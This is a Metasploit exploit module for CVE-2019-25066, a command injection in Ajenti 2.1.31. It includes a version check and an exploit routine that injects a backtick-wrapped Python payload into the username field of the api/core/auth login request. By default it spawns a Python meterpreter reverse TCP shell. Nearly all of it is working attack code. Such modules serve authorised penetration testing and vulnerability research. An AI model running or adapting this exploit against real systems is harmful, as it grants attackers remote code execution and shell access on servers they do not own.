Ajenti auth username Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ajenti auth username Command Injection',
        'Description' => %q{
          This module exploits a command injection in Ajenti == 2.1.31.
          By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
        },
        'Author' => [
          'Jeremy Brown', # Vulnerability discovery
          'Onur ER <[email protected]>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-25066'],
          ['EDB', '47497']
        ],
        'DisclosureDate' => '2019-10-14',
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Privileged' => false,
        'Targets' => [
          ['Ajenti == 2.1.31', {}]
        ],
        'DefaultOptions' => {
          'RPORT' => 8000,
          'SSL' => true,
          'payload' => 'python/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/view/login/normal'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.body =~ /ajenti/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first

    if version
      vprint_status "Ajenti version #{version}"
    end

    if version == '2.1.31'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Detected version #{version}")
  end

  def exploit
    print_status('Exploiting...')
    json_body = {
      'username' => "`python -c \"#{payload.encoded}\"`",
      'password' => rand_text_alpha_lower(7),
      'mode' => 'normal'
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),
      'ctype' => 'application/json',
      'data' => JSON.generate(json_body)
    })
  end
end